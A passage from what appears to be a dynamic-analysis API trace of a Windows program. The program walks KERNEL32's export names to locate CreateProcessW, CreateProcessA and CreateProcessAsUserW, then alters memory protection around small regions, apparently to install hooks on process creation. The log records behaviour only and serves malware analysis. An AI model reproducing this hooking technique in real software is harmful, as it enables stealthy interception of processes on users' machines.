lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessW") returned -1 [0081.821] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0081.822] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="CreateProcessW") returned -1 [0081.823] lstrcmpA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0081.823] VirtualProtect (in: lpAddress=0x76a9fccc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x20) returned 1 [0081.823] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0081.823] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x2749890 [0081.823] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0081.823] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x2749890 | out: hHeap=0x2350000) returned 1 [0081.823] VirtualProtect (in: lpAddress=0x76ab0200, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x20) returned 1 [0081.824] VirtualProtect (in: lpAddress=0x76ab0200, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x40) returned 1 [0081.824] VirtualProtect (in: lpAddress=0x76a9fccc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x40) returned 1 [0081.824] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcf8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcf8, ReturnLength=0x0) returned 0x0 [0081.824] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0081.824] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x2749890 [0081.824] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0081.824] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0081.824] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0081.824] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessA") returned -1 [0081.824] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0081.824] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessA") returned -1 [0081.824] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessA") returned -1 [0081.825] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="Beep", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0081.826] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessA") returned -1 [0081.827] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessA") returned -1 [0081.828] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessA") returned -1 [0081.829] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessA") returned -1 [0081.829] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessA") returned 0 [0081.829] VirtualProtect (in: lpAddress=0x76a9fcbc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x20) returned 1 [0081.829] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0081.829] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27498c8 [0081.829] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0081.829] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27498c8 | out: hHeap=0x2350000) returned 1 [0081.829] VirtualProtect (in: lpAddress=0x76ab0205, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x20) returned 1 [0081.829] VirtualProtect (in: lpAddress=0x76ab0205, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x40) returned 1 [0081.829] VirtualProtect (in: lpAddress=0x76a9fcbc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x40) returned 1 [0081.830] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcf8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcf8, ReturnLength=0x0) returned 0x0 [0081.830] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0081.830] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x27498c8 [0081.830] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessAsUserW") returned -1 [0081.830] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessAsUserW") returned -1 [0081.831] 